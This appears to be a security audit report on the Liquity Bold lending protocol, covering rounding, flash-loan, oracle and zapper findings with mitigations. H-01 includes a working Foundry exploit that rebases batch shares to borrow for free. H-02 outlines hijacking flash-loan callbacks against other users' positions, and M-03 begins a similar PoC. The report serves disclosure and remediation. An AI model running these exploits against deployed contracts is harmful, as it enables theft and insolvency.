

MANUAL REVIEW

# BOLD



GETRECON.XYZ  
ALEX THE ENTREPRENERD

# Recon Security Review

---

## Introduction

---

Alex The Entrepreneur performed a 3 weeks review of Bold

Repo: <https://github.com/liquidity/bold> Commit Hash: a5049ab91e532667916d8d4e1e131d4164eb9e72

He additionally performed a complimentary mitigation review for the ETH-USD branch as well as the bug fix to the LeverageZaps bug

This review uses [Code4rena Severity Classification](#)

The Review is done as a best effort service, while a lot of time and attention was dedicated to the security review, it cannot guarantee that no bug is left

As a general rule we always recommend doing one additional security review until no bugs are found, this in conjunction with a Guarded Launch and a Bug Bounty can help further reduce the likelihood that any specific bug was missed

## About Recon

---

Recon offers boutique security reviews, invariant testing development and is pioneering Cloud Fuzzing as a best practice by offering Recon Pro, the most complete tool to run tools such as Echidna, Medusa, Foundry, Kontrol and Halmos in the cloud with just a few clicks

## About Alex

---

Alex is a well known Security Researcher that has collaborated with multiple contest firms such as:

- Code4rena - One of the most prolific and respected judges, won the Tapioca contest, at the time the 3rd highest contest pot ever
- Spearbit - Have done reviews for Tapioca, Threshold USD, Velodrome and more
- Recon - Centrifuge Invariant Testing Suite, Corn and Badger invariants as well as live monitoring

## Additional Services by Recon

---

Recon offers:

- Invariant Testing Audits - We'll write your invariant tests then perform an audit on.
- Cloud Fuzzing as a Service - The easiest way to run invariant tests in the cloud - Ask about Recon Pro.
- Audits - high quality audits performed by highly qualified reviewers that work with Alex personally.

## Table of Contents

---

- High
  - H-01 Bold Batch Shares Math can be rebased by combining rounding errors and `setBatchManagerAnnualInterestRate` to borrow for free
  - H-02 The flashloan protection for Zappers is insufficient - We can operate on Troves we don't own
- Med
  - M-01 `eth_price_fallback_2` review

- M-02 `zappers_leverage_exchange_leftovers` review
- M-03 Batch Management Rounding Error can cause debt from being forgiven to a Trove and charged to the Batch
- M-04 Borrowing from branches can be disabled by one whale or early depositor
- M-05 Oracles with a Deviation Threshold above the Base Redemption Fee are subject to redemption arbitrage due to Oracle Drift
- M-06 Zappers and swaps can leave dust
- **QA**
  - Q-01 Suggested Next Steps
  - Q-02 Hypothetical Oracle Shutdown Risk
  - Q-03 Best to assert oracle decimals in constructor
  - Q-04 Unclear comment around managers
  - Q-05 Rounding in favour of users will cause slight inaccuracies over time
  - Q-06 TroveManager can make troves liquidatable by changing the batch interest rate
  - Q-07 Trove Adjustments may be grieved by sandwich raising the average interest rate
  - Q-08 Old Comments
  - Q-09 Unbackedness is a bit of an inaccurate way to reduce risk via redemptions
  - Q-10 Unbackedness manipulation may be profitable
  - Q-11 QA - Base Rate Decay may be slower than intended - Chaduke
  - Q-12 Stability Pool claiming and compounding Yield can be used to gain a slightly higher rate of rewards
  - Q-13 Rounding Error for Batch in Trove can be used to flag a Trove as Unredeemable while having MIN\_DEBT or more
  - Q-14 `weightedRecordedDebt` update logic sometimes uses relative incorrect ratios while the absolute values are correct
  - Q-15 Liquidator may prefer Redistribution
  - Q-16 Urgent Redemptions Premium can worsen the ICR when Trove Coll Value < Debt Value \* .1
  - Q-17 Mathematical Reasoning around Rounding Errors and their Impacts for Troves in Batches
  - Q-18 Redemption Base Rate will grow slower than intended because `totalSupply` includes unredeemable debt
  - Q-19 Lack of premium on redeeming higher interest troves can lead to all troves having the higher interest rate and still be redeemed - Cold Start Problem
  - Q-20 Reasoning around adding a deadline and absolute opening fee
  - Q-21 Add and Remove Managers may open up to phishing
  - Q-22 One Year is 365.25 days
  - Q-23 `TroveNFT.tokenURI` `debt` and `coll` are static and will not reflect interest and redistributions
  - Q-24 Zappers would benefit by capping the amount of debt to repay to the current Trove debt amount
  - Q-25 User provided Zapper could be used to skim leftovers
  - Q-26 `DefaultPool` Typo
  - Q-27 `AddressRegistry` can benefit by having some small additional sanitization
  - Q-28 Readme Typos / Small Fixes
  - Q-29 Invariants
- **Gas**
  - G-01 `AddRemoveManagers.sol` - Can be refactored to not check for manager in happy path

# H-01 Bold Batch Shares Math can be rebased by combining rounding errors and `setBatchManagerAnnualInterestRate` to borrow for free

---

## Executive Summary

---

This finding is the culmination of #41, #40 and #39

This finding demonstrates that the Truncation based math, used in `_updateBatchShares`, in combination with the ability to reliably raise the value of a debt share via `setBatchManagerAnnualInterestRate` allows to rebase the shares to such a degree that it will make the system subject to forgiving an Entire Trove worth of Debt

## Brief POC

---

The debt of a Trove in a Batch is computed as follows:

<https://github.com/liquity/bold/blob/a34960222df5061fa7c0213df5d20626adf3ecc4/contracts/src/TroveManager.sol#L933>

```
_latestTroveData.recordedDebt = _latestBatchData.recordedDebt * batchDebtShares /
totalDebtShares;
```

The way the new shares is calculated when a Trove increases its debt is as follows:

<https://github.com/liquity/bold/blob/a34960222df5061fa7c0213df5d20626adf3ecc4/contracts/src/TroveManager.sol#L1749>

```
batchDebtSharesDelta = currentBatchDebtShares * debtIncrease / _batchDebt;
```

The exploit uses the truncation in `batchDebtSharesDelta` and is fully explain in #39

## Impact

---

From the preconditions described in #40, we do the following:

- Rebase the 1 share to have 100+ debt (we need a value that will result in debt growth when we charge the Batch Update Fee)
- Start charging upfront fees to it (which compound, hence they will grow faster than us abusing rounding errors)
- We need to spam `setBatchManagerAnnualInterestRate` on each block, until the 1 share is worth more than `MIN_DEBT` + Open fee of debt
- This can be achieved by calling `setBatchManagerAnnualInterestRate` 2355 times

The preconditions are pretty specific and can technically be blocked by anyone joining a specific Batch

However, the cost of the attack is zero, the attack can be setup by all actors at all times and the result of the attack is the ability to mint an infinite amount of bold a zero cost to the attacker, leading me to believe that this is a high severity impact that requires rethinking the Batch Shares math

## Complete POC

---

The following POC chains all of the concepts above, as well as from #41 and #40 to perform free borrows that will cause the system to go underwater

```

// SPDX-License-Identifier: MIT

pragma solidity 0.8.18;

import "./TestContracts/DevTestSetup.sol";

contract Redemptions is DevTestSetup {

    bool WITH_INTEREST = true; // Do we need to tick some interest to cause a rounding error?

    // forge test --match-test test_alex_batchRebaseToSystemInsolvency -vv
    function test_alex_batchRebaseToSystemInsolvency() public{
        // === EXTRA SETUP === //
        // Open Trove
        priceFeed.setPrice(2000e18);
        // Extra Debt (irrelevant / Used to not use deal)
        uint256 CTroveId = openTroveNoHints100pct(C, 100 ether, 100e21, MAX_ANNUAL_INTEREST_RATE);
        vm.startPrank(C);
        boldToken.transfer(A, boldToken.balanceOf(C));
        vm.stopPrank();

        // === 1: Setup Batch Rebase === ///

        // Open 2 troves so we get enough interest
        // 1 will be redeemed down to 1 wei
        uint256 ATroveId = openTroveAndJoinBatchManager(A, 100 ether, MIN_DEBT, B,
MAX_ANNUAL_INTEREST_RATE);
        // Sock Puppet Trove | Opened second so we can redeem this one | We need to redeem this one so
we can inflate the precision loss
        uint256 BTroveId = openTroveAndJoinBatchManager(B, 100 ether, MIN_DEBT, B,
MAX_ANNUAL_INTEREST_RATE);

        // MUST accrue to rebase shares
        // Limit to one block so this attack is basically unavoidable
        if(WITH_INTEREST) {
            vm.warp(block.timestamp + 12);
        }

        LatestBatchData memory b4Batch = troveManager.getLatestBatchData(address(B));

        // TODO: Open A, Mint 1 extra (forgiven to A)
        _addOneDebtAndEnsureItDoesntMintShares(ATroveId, A); /// @audit MED impact

        LatestBatchData memory afterBatch = troveManager.getLatestBatchData(address(B));

        assertEq(b4Batch.entireDebtWithoutRedistribution + 1,
afterBatch.entireDebtWithoutRedistribution, "Debt is credited to batch");

        // Closing A here will credit to B and Batch, that's ok but not enough
        LatestTroveData memory trove = troveManager.getLatestTroveData(BTroveId);
        uint256 bEntireDebtB4 = trove.entireDebt;

        vm.startPrank(A);
        collateralRegistry.redeemCollateral(bEntireDebtB4, 100, 1e18); // 2 debt, 1 share (hopefully)
        vm.stopPrank();

        uint256 sharesAfterRedeem = _getBatchDebtShares(BTroveId);
        assertEq(sharesAfterRedeem, 1, "Must be down to 1, rebased");

        // Let's have B get 1 share, 2 debt | Now it will be 1 | 1 because A is socializing that share
        LatestTroveData memory bAfterRedeem = troveManager.getLatestTroveData(BTroveId);
        assertEq(bAfterRedeem.entireDebt, 1, "Must be 1, Should be 2 for exploit"); // NOTE: it's one
because of the division on total shares

        // Close A (also remove from batch is fine)
        closeTrove(A, ATroveId);

        // Now B has rebased the Batch to 1 Share, 2 Debt
        LatestTroveData memory afterClose = troveManager.getLatestTroveData(BTroveId);
        assertEq(afterClose.entireDebt, 2, "Becomes 2"); // Note the debt becomes 2 here because of the
round down on what A needs to repay
    }
}

```

```

// === 2: Rebase to 100+ === //
// We need to rebase to above 100
uint256 x;
while(x++ < 100) {
    // Each iteration adds 1 wei of debt to the Batch, while leaving the Shares at 1
    _openCloseRemainderLoop(1, BTroveId);
}

_logTroveAndBatch(B, BTroveId);

// === 3: Compound gains === //
// We can now spam
// Each block, we will rebase the share by charging the upfrontFee
// This endsup taking
uint256 y;
while(y < 2560) {
    _triggerInterestRateFee();
    y++;

    LatestTroveData memory troveData = troveManager.getLatestTroveData(BTroveId);
    // This flags that we can borrow for free
    if(troveData.entireDebt > 4000e18 + 1) {
        break;
    }
}
// 2391 blocks
console2.log("We have more than 2X MIN_DEBT of rebase it took us blocks:", y);

_logTroveAndBatch(B, BTroveId);

// === 4: Free Loans === //
uint256 debtB4 = borrowerOperations.getEntireSystemDebt();
// We can now open a new Trove
uint256 anotherATroveId = openTroveAndJoinBatchManager(A, 100 ether, MIN_DEBT, B,
MIN_ANNUAL_INTEREST_RATE);
LatestTroveData memory anotherATrove = troveManager.getLatestTroveData(anotherATroveId);
uint256 aDebt = anotherATrove.entireDebt;

// It will pay zero debt
assertEq(aDebt, 0, "Forgiven");

uint256 balB4 = boldToken.balanceOf(A);
closeTrove(A, anotherATroveId);
uint256 balAfter = boldToken.balanceOf(A);

// And we can repeat this to get free debt
uint256 debtAfter = borrowerOperations.getEntireSystemDebt();

assertEq(balB4, balAfter, "No thing was paid");
assertGt(debtAfter, debtB4, "We got it for free");
}

uint128 subTractor = 1;

// Trigger interest fee by changing the fee to it -1
function _triggerInterestRateFee() internal {
    // Add Fee?
    vm.warp(block.timestamp + 1);
    vm.startPrank(B);
    borrowerOperations.setBatchManagerAnnualInterestRate(1e18 - subTractor++, 0, 0,
type(uint256).max);
    vm.stopPrank();
}

function _logTroveInBatch(uint256 troveId) internal {
    LatestTroveData memory troveData = troveManager.getLatestTroveData(troveId);
    console2.log("troveData debt", troveData.entireDebt);

    uint256 batchShares = _getBatchDebtShares(troveId);
    console2.log("batchShares", batchShares);
}

```

```
function _logTroveAndBatch(address batch, uint256 troveB) internal {
    console2.log("");
    console2.log("_logTroveAndBatch");
    // Log Batch Debt
    console2.log("_getLatestBatchDebt", _getLatestBatchDebt(batch));
    // Log all Batch shares
    console2.log("_getTotalBatchDebtShares", _getTotalBatchDebtShares(batch));

    _logTroveInBatch(troveB);
}

function _openCloseRemainderLoop(uint256 amt, uint256 BTroveId) internal {
    LatestTroveData memory troveBefore = troveManager.getLatestTroveData(BTroveId);

    // Open
    uint256 ATroveId = openTroveAndJoinBatchManager(A, 100 ether, MIN_DEBT, B,
MAX_ANNUAL_INTEREST_RATE);

    LatestTroveData memory b4Add = troveManager.getLatestTroveData(ATroveId);

    // Add debt that wont' be credited (fibonacci)
    _addDebtAndEnsureItDoesntMintShares(ATroveId, A, amt); // TODO: Needs to be made to scale

    LatestTroveData memory afterAdd = troveManager.getLatestTroveData(ATroveId);

    closeTrove(A, ATroveId); // Close A (also remove from batch is fine)

    LatestTroveData memory troveAfter = troveManager.getLatestTroveData(BTroveId);
    assertGt(troveAfter.entireDebt, troveBefore.entireDebt, "we're rebasing");
}

function _addDebtAndEnsureItDoesntMintShares(uint256 troveId, address caller, uint256 amt) internal
{
(
    ,
    ,
    ,
    ,
    ,
    ,
    ,
    ,
    ,
    ,
    uint256 b4BatchDebtShares
        ) = troveManager.Troves(troveId);

    withdrawBold100pct(caller, troveId, amt);

(
    ,
    ,
    ,
    ,
    ,
    ,
    ,
    ,
    ,
    ,
    uint256 afterBatchDebtShares
        ) = troveManager.Troves(troveId);

    assertEq(b4BatchDebtShares, afterBatchDebtShares, "Same Shares");
}

function _addOneDebtAndEnsureItDoesntMintShares(uint256 troveId, address caller) internal {
    _addDebtAndEnsureItDoesntMintShares(troveId, caller, 1);
}

function _getLatestRecordedDebt(address batch) internal returns (uint256) {
    LatestBatchData memory batchData = troveManager.getLatestBatchData(B);

    return batchData.recordedDebt;
}
```



```

function _getLatestBatchDebt(address batch) internal returns (uint256) {
    LatestBatchData memory batchData = troveManager.getLatestBatchData(B);

    return batchData.entireDebtWithoutRedistribution;
}

function _getBatchDebtShares(uint256 troveId) internal returns (uint256) {
    (
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        uint256 batchDebtShares
    ) = troveManager.Troves(troveId);

    return batchDebtShares;
}

function _getTotalBatchDebtShares(address batch) internal returns (uint256) {
    (
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        uint256 allBatchDebtShares) = troveManager.getBatch(batch);

    return allBatchDebtShares;
}
}

```

And the logs will be:

## Mitigation

The issue stems from the ability to somewhat reliably rebase the shares in the Batch at effectively no cost to the attacker

The shares need to be rebased from "real" interest, and should not be allowed to be rebased by "fake" interest

I believe that a fix would require multiple components:

1) **Round up the debt that each Trove must pay, Round down it's contribution to debt being repaid** This is a bit of a niche fix, but fundamentally, every Trove must pay it's fair share, so their debt must roundedUp However, removing more than what they "actually" owe, would open up to a scenario in which some shares are worth 0, which can cause a permanent DOS due to division by zero



As such the math must over-charge (pay more debt) and under-deliver (reduce Batch debt by less)

**2) Introduce Virtual Shares** Introducing Virtual Shares to a batch will mean that some of the interest will be paid (and lost) to shares that don't really exist

However, the behaviour is well documented (see Euler and Morpho audits)

Virtual Share make rebasing effectively impossible, they make it so that a 1 wei error can only be abused to cause another 1 wei error, which would require more than millions of iterations, a cost that is not really feasible

Setting a virtual share of  $1e18$  with a debt of  $1e18$  should be sufficient to prevent any rebase attack

**3) Enforce MIN\_SIZE operations** Do not allow a Trove having very low debt nor very low Batch shares

By enforcing that Troves always maintain certain size, you remove all the practicalities of the rebase exploit

As you can see in #41 once we have a sufficiently high number of shares, all operations error is reduced down to 1 wei

This makes rebase attacks too expensive to pull off

## H-02 The flashloan protection for Zappers is insufficient – We can operate on Troves we don't own

---

### Impact

---

The code for the Balancer Vault Flashloan is as follows:

<https://etherscan.io/address/0xba12222222228d8ba445958a75a0704d566bf2c8#code>

```
function flashLoan(
    IFlashLoanRecipient recipient,
    IERC20[] memory tokens,
    uint256[] memory amounts,
    bytes memory userData
) external override nonReentrant whenNotPaused {
    InputHelpers.ensureInputLengthMatch(tokens.length, amounts.length);

    uint256[] memory feeAmounts = new uint256[](tokens.length);
    uint256[] memory preLoanBalances = new uint256[](tokens.length);

    // Used to ensure `tokens` is sorted in ascending order, which ensures token uniqueness.
    IERC20 previousToken = IERC20(0);

    for (uint256 i = 0; i < tokens.length; ++i) {
        IERC20 token = tokens[i];
        uint256 amount = amounts[i];

        _require(token > previousToken, token == IERC20(0) ? Errors.ZERO_TOKEN :
Errors.UNSORTED_TOKENS);
        previousToken = token;

        preLoanBalances[i] = token.balanceOf(address(this));
        feeAmounts[i] = _calculateFlashLoanFeeAmount(amount);

        _require(preLoanBalances[i] >= amount, Errors.INSUFFICIENT_FLASH_LOAN_BALANCE);
        token.safeTransfer(address(recipient), amount);
    }

    recipient.receiveFlashLoan(tokens, amounts, feeAmounts, userData);
}
```

Meaning anyone can call this and set the `BalancerFlashloan` as the recipient

This only check done in the Zappers looks as follows:

<https://github.com/liquity/bold/blob/57c2f13fe78f914cab3d9736f73b4e0ffc58e022/contracts/src/Zappers/LeverL168>

```
function receiveFlashLoanOnLeverDownTrove(LeverDownTroveParams calldata _params, uint256
_effectiveFlashLoanAmount)
    external
{
    require(msg.sender == address(flashLoanProvider), "LZ: Caller not FlashLoan provider");
}
```

Which means that any arbitrary flashloan can be made to trigger the callbacks specified in `receiveFlashLoan`

This opens up to the following:

**We can do the FL on behalf of other people and cause them to unwind or take on more debt**

---

Since balancer removed the flashloan fee

This can be abused to alter a user position:

- Force them to take leverage or to unwind their position

And can also be used to steal funds from the user by:

- Imbalancing swap pool
- Having user alter their position and take a loss / more debt than intended

The loss will be taken by the victim in the form of a "imbalanced" leverage

Whereas the attacker will skim the sandwiched funds to themselves

## POC

- Call `flashLoanProvider.makeFlashLoan` with malicious inputs OR
- Call `Vault.flashloan` with malicious inputs

The diagram illustrates a Proof of Concept (POC) for a security vulnerability in a flash loan provider. It consists of three code snippets and several explanatory callouts.

**Code Snippet 1 (Top):** Shows the `leverDownTrove` function. It calls `flashLoanProvider.makeFlashLoan` with `_params↑.flashLoanAmount` and `address(this)` as the receiver. A yellow box labeled "Safe" is next to it.

**Code Snippet 2 (Middle):** Shows the `makeFlashLoan` function. It takes `IERC20 _token↑`, `uint256 _amount↑`, `IFlashLoanReceiver _caller↑`, and `Operation _operation↑` as arguments. A yellow box labeled "Unsafe, arbitrary caller can start bypassing the check" is next to it.

**Code Snippet 3 (Bottom):** Shows the `receiveFlashLoan` function. It takes `IERC20 _token↑`, `uint256[] calldata _amounts↑`, `uint256[] calldata _feeAmounts↑`, and `bytes calldata _userData↑` as arguments. A yellow box labeled "2x Unsafe" is next to it.

**Callouts:**

- "We should not be able to start a flashloan from here" (Pink box)
- "This allows injecting unsanitized data" (Pink box)
- "Balancer Vault could be started by someone else" (Yellow box)
- "This callback must be validated to be made by address(this)" (Pink box)
- "No validation on callback id = we can perform arbitrary operations" (Pink box)
- "Bypassed all checks" (Pink box)

**Code Snippet 4 (Bottom Right):** Shows the `receiveFlashLoanOnLeverDownTrove` function. It takes `LeverDownTroveParams calldata _params↑` and `uint256 _effectiveFlashLoanAmount` as arguments. A yellow box labeled "Unsafe" is next to it.

## Mitigation

Enforce that all calls are started by the Zaps (trusted contracts)

You could generate a transient id for the operation, and verify that the only accepted callback is the trusted one

## Pseudocode

```
function receiveFlashLoanOnOpenLeveragedTrove(  
    OpenLeveragedTroveParams calldata _params,  
    uint256 _effectiveFlashLoanAmount  
) external {  
    require(msg.sender == address(flashLoanProvider), "LZ: Caller not FlashLoan provider");  
    require(decodeParams(_params) == currentOperationId, "callback was started by this contract");  
    currentOperationId = UNSET_OPERATION_ID; // bytes32(0)
```

# M-01 `eth\_price\_fallback\_2` review

---

## Executive Summary

---

Logic still doesn't solve against Redemption Fee being lower than Oracle Drift

<https://github.com/liquity/bold/blob/3ad11270a22190e77c1e8ef7742d2ebec133a317/contracts/src/PriceFeeds/L60>

```
// Take the minimum of (market, canonical) in order to mitigate against upward market price manipulation.
// NOTE: only needed | /// @audit You should take the max for redemptions
uint256 lstUsdPrice = LiquityMath._min(lstUsdMarketPrice, lstUsdCanonicalPrice);
```

Because rETH and stETH/ETH have a higher deviation threshold than the base redemption fee

It's possible that rETH and stETH will trade at a higher price than what the oracle is reporting

Whenever this happens, more rETH / stETH per BOLD will be redeemed, causing a real loss to Trove owners

### Stale price during shutdown will create more damage than necessary

Once the oracle shuts down it will use the ETHXCanonical rate

This should in general be an accurate price (barring an exploit to the LST)

In those scenarios, taking the `min(ETHXCanonical, lastGoodPrice)` will in the scenario of ETH/USD price raising, open up to massive redemption arbitrages, that could be reduced by instead using the `ETHXCanonical` price

### stETH Price can be off by up to 1%

`WStETHPriceFeed` prices the wstETH collateral as follows:

<https://github.com/liquity/bold/blob/3ad11270a22190e77c1e8ef7742d2ebec133a317/contracts/src/PriceFeeds/L55>

```
uint256 wstEthUsdPrice = stEthUsdPrice * stEthPerWstEth / 1e18;
```

This is using stETH/USD feed that has a 1% deviation threshold

This means that in some cases, redeemers will pay less than the deviation threshold, naturally opening up to arbitrage by simply redeeming bold and receiving an outsized amount of stETH

### RETH Min Price can cause duration risk arbitrage

While I cannot fully explain how all market dynamic's reflect on an LST price

It is fair to look at the pricing of an LST through the lens of:

- Smart Contract Risk
- Underlying ETH
- Duration Risk (Time in the exit queue)

If we assume Smart Contract Risk to be close to zero (incorrect, but somewhat valid) (see stETH|ETH which have a ratio of `0.99936854`)

Then we can quantify the price of an LST as the Underlying ETH - the opportunity cost of the time it would take to receive that ETH from the exit queue

If we agree on this valuation model, then we must agree that our rETH/ETH oracle is fundamentally pricing in the Duration Risk more so than anything else

NOTE: This model actually works well even now that rETH is above peg, the opportunity cost of holding rETH is greater than other LSTs because the supply is capped and there's a bunch of yield farming incentives going around

Continuing our analogy, we then have to determine if the Chainlink oracle, with a 2% deviation threshold is able to reliably defend Trove redemptions against attacks to the Duration Risk component of the LST price

To which I believe the answer is no

That goes back to the Redemption Fee arbitrage finding, the oracle is too slow to defend against that component

However, whenever the market does move, due to changes in the Duration Risk component of the LST, Trove holders will be redeemed at a discount, they may not be willing to offer

In other words, I believe that current Oracles are unable to fairly price Duration Risk, and as such they should not be used for Redemptions

I suggest that the Redemption Price of the LST is the ETH/USD \* Rate (prevent Skim attacks, minor losses)

And that the Liquidation Price is the Market Price (avoids exploits, serious insolvency risk, etc..)

## Oracle Shutdown may magnify redemption premium massively

<https://github.com/liquity/bold/blob/3ad11270a22190e77c1e8ef7742d2ebec133a317/contracts/src/PriceFeeds/L88>

```
function _fetchPriceETHUSDxCanonical(uint256 _ethUsdPrice) internal returns (uint256) {
    assert(priceSource == PriceSource.ETHUSDxCanonical);
    // Get the underlying_per_LST canonical rate directly from the LST contract
    // TODO: Should we also shutdown if the call to the canonical rate reverts, or returns 0?
    (uint256 lstRate, bool exchangeRateIsDown) = _getCanonicalRate();

    // If the exchange rate contract is down, switch to (and return) lastGoodPrice.
    if (exchangeRateIsDown) {
        priceSource = PriceSource.lastGoodPrice;
        return lastGoodPrice;
    }

    // Calculate the canonical LST-USD price: USD_per_LST = USD_per_ETH * underlying_per_LST
    uint256 lstUsdCanonicalPrice = _ethUsdPrice * lstRate / 1e18;

    uint256 bestPrice = LiquidityMath._min(lstUsdCanonicalPrice, lastGoodPrice); /// @audit Downward
    price
    /// @audit This will keep the lowest possible price "forever", it should instead update since
    the ETH feed is working
    lastGoodPrice = bestPrice; /// @audit Redemptions may overpay MASSIVELY due to that

    return bestPrice;
}
```

## Recommendation

It's probably best to use the valid eth price \* rate instead of taking the minimum, since nobody will be able to borrow anyway, but redemptions may massively overcompensate the redeemer

## Very low latent risk

<https://github.com/liquity/bold/blob/3ad11270a22190e77c1e8ef7742d2ebec133a317/contracts/src/PriceFeeds/L73>

```
try IRETHToken(rateProviderAddress).getExchangeRate() returns (uint256 ethPerReth) {
    // If rate is 0, return true
    if (ethPerReth == 0) return (0, true);

    return (ethPerReth, false);
} catch {
```

Could be made to revert by:

- Having no return value
- Removing the function
- Making the provider consume all gas

You could use `tinfoilCall` to prevent any tail risks

<https://github.com/ebtc-protocol/ebtc/blob/703261bd6b23886ee18245cbf6d185a67fde8c75/packages/contracts/contracts/EbtcFeed.sol#L208>

## Gas - Can this be made immutable?

<https://github.com/liquity/bold/blob/3ad11270a22190e77c1e8ef7742d2ebec133a317/contracts/src/PriceFeeds/L40>

```
Oracle public ethUsdOracle;
```

The oracle data could be made immutable by separating it into multiple variables And then by returning the struct from an internal getter

## GAS

<https://github.com/liquity/bold/blob/3ad11270a22190e77c1e8ef7742d2ebec133a317/contracts/src/PriceFeeds/L40>

```
(uint256 stEthPerWstEth, bool exchangeRateIsDown) = _getCanonicalRate();

// If exchange rate is down, shut down and switch to last good price - since we need this
// rate for all price calcs
if (exchangeRateIsDown) {
    return (_shutDownAndSwitchToLastGoodPrice(address(stEthUsdOracle.aggregator)), true);
}
```

Fetch this first to optimize the failure case at no extra cost



## M-02 `zappers\_leverage\_exchange\_leftovers` review

---

Med - Missing Sweeps here

<https://github.com/liquity/bold/blob/3f190ec5d63fa26a64fa5edc9404b92e9e053e03/contracts/src/Zappers/GasL174>

```
function adjustTroveWithRawETH(
    uint256 _troveId,
    uint256 _collChange,
    bool _isCollIncrease,
    uint256 _boldChange,
    bool _isDebtIncrease,
    uint256 _maxUpfrontFee
) external {
    address receiver = _adjustTrovePre(_troveId, _collChange, _isCollIncrease, _boldChange,
    _isDebtIncrease);
    borrowerOperations.adjustTrove(
        _troveId, _collChange, _isCollIncrease, _boldChange, _isDebtIncrease, _maxUpfrontFee
    );
    _adjustTrovePost(_collChange, _isCollIncrease, _boldChange, _isDebtIncrease, receiver);
}

function adjustUnredeemableTroveWithRawETH(
    uint256 _troveId,
    uint256 _collChange,
    bool _isCollIncrease,
    uint256 _boldChange,
    bool _isDebtIncrease,
    uint256 _upperHint,
    uint256 _lowerHint,
    uint256 _maxUpfrontFee
) external {
    address receiver = _adjustTrovePre(_troveId, _collChange, _isCollIncrease, _boldChange,
    _isDebtIncrease);
    borrowerOperations.adjustUnredeemableTrove(
        _troveId, _collChange, _isCollIncrease, _boldChange, _isDebtIncrease, _upperHint,
    _lowerHint, _maxUpfrontFee
    );
    _adjustTrovePost(_collChange, _isCollIncrease, _boldChange, _isDebtIncrease, receiver);
}
```

As discussed in the original finding, one way to leave dust is to try repaying more than necessary

This will result in a transfer in of boldToken The unused boldToken will be stuck in the contract

## Undefined - Arbitrary input is dangerous vs using `msg.sender`

---

<https://github.com/liquity/bold/blob/3f190ec5d63fa26a64fa5edc9404b92e9e053e03/contracts/src/Zappers/MockL76>

```

function swapFromBold(uint256 _boldAmount, uint256 _minCollAmount, address _zapper) external returns
(uint256) {
    ICurvePool curvePoolCached = curvePool;
    IBoldToken boldTokenCached = boldToken;
    uint256 initialBoldBalance = boldTokenCached.balanceOf(address(this));
    boldTokenCached.transferFrom(_zapper, address(this), _boldAmount);
    boldTokenCached.approve(address(curvePoolCached), _boldAmount);

    // TODO: make this work
    //return curvePoolCached.exchange(BOLD_TOKEN_INDEX, COLL_TOKEN_INDEX, _boldAmount,
    _minCollAmount, false, _zapper);
    uint256 output = curvePoolCached.exchange(BOLD_TOKEN_INDEX, COLL_TOKEN_INDEX, _boldAmount,
    _minCollAmount);
    collToken.safeTransfer(_zapper, output);

    uint256 currentBoldBalance = boldTokenCached.balanceOf(address(this));
    if (currentBoldBalance > initialBoldBalance) {
        boldTokenCached.transfer(_zapper, currentBoldBalance - initialBoldBalance);
    }

    return output;
}

```

As already flagged, these calls allow anybody to "create volume" for the zapper (or any approved addresses) Through imbalancing the pool, these arbitrary calls can be used to cause a loss of value to the victim, at the gain of the caller

I highly recommend changing these functions to use `msg.sender` or to not use allowance at all (have the caller transfer then call the swap function)

## QA - Inconsistent usage of `transfer` vs `safeTransfer`

---

I believe all collaterals are fine to use `transfer`, however the usage is inconsistent

I always recommend adding a comment anytime you use `transfer` to prevent wasted time by reviewers

## Gas - You don't need to cache `immutable` variables

---

Gas - You can deposit 1 unit of dust token to each Zap to make operations cheaper on average

---

# M-03 Batch Management Rounding Error can cause debt from being forgiven to a Trove and charged to the Batch

---

## Impact

---

This finding opens up the precondition to a bigger exploit, discussed in #39

I have yet to find a feasible path to #39

And am sharing this in the hopes that this can be further prevented

The code in scope presents truncation in 2 key parts of the code base:

When updating batch shares:

<https://github.com/liquity/bold/blob/a34960222df5061fa7c0213df5d20626adf3ecc4/contracts/src/TroveManager.sol#L1749>

```
batchDebtSharesDelta = currentBatchDebtShares * debtIncrease / _batchDebt;
```

When computing the debt that a Trove owes:

<https://github.com/liquity/bold/blob/a34960222df5061fa7c0213df5d20626adf3ecc4/contracts/src/TroveManager.sol#L933>

```
_latestTroveData.recordedDebt = _latestBatchData.recordedDebt * batchDebtShares /  
totalDebtShares;
```

Combining these two opens up to the 2 following impacts:

- Small debt increase amounts result in no minting of shares, meaning that the debt is being socialized to all Batch Debt Share holders
- Individual Trove debts rounding down leads to locking in the forgiven debt to other Batch Depositors, this can be used to rebase Batch Shares

## Further Considerations for risk

---

As discussed with the Development Team, the inaccuracy from the divisor can grow over time, meaning that the impact of the finding could be made worse once enough interest has accrued

## POC

---

The following POC demonstrates 2 aspects:

1. Some increases in debt do not mint shares in batches, meaning the debt is causing the batch shares to rebase, this applies to all Batch Operations once the shares have accrued interest

The forgiven Share comes from truncation in `_updateBatchShares`

2. Opening and closing can be spammed to rebase shares, if we had no MIN\_DEBT this could be easily turned into a critical exploit For now I'm able to rebase the PPFS but I'm unable to generate more forgiven debt than 1 unit at a time

The forgiven Debt comes from truncation in `_getLatestTroveDataFromBatch`

```

// SPDX-License-Identifier: MIT

pragma solidity 0.8.18;

import "../TestContracts/DevTestSetup.sol";

contract Redemptions is DevTestSetup {

    bool WITH_INTEREST = true; // Do we need to tick some interest to cause a rounding error?
    // NOTE: Because the interest rebases the share, I think we do
    // Whereas mgmt fees do not rebase the shares, they mint more at same ppfs
    // For this reason I think we need to pay the interest, and we limit it to 12 seconds
    // One block
    // Which is a pretty realistic setup
    // We fundamentally just need to get a divisor that will cause remainder

    // forge test --match-test test_alex_demo_rebase -vv
    function test_alex_demo_rebase() public{
        // Open Trove
        priceFeed.setPrice(2000e18);

        // Extra Debt (irrelevant / Used to not use deal)
        uint256 CTroveId = openTroveNoHints100pct(C, 100 ether, 100e21, MIN_ANNUAL_INTEREST_RATE + 500);

        uint256 ATroveId = openTroveAndJoinBatchManager(A, 100 ether, MIN_DEBT, B,
MIN_ANNUAL_INTEREST_RATE);
        // Sock Puppet Trove | Opened second so we can redeem this one | We need to redeem this one so
we can inflate the precision loss
        uint256 BTroveId = openTroveAndJoinBatchManager(B, 100 ether, MIN_DEBT, B,
MIN_ANNUAL_INTEREST_RATE);

        // Send enough to have A close that trove
        vm.startPrank(C);
        boldToken.transfer(A, boldToken.balanceOf(C));
        vm.stopPrank();

        // MUST accrue to rebase shares
        // Limit to one block so this attack is basically unavoidable
        if(WITH_INTEREST) {
            vm.warp(block.timestamp + 12);
        }

        // === FUNDAMENTAL REMAINDER = SKIP DEBT POC === ///

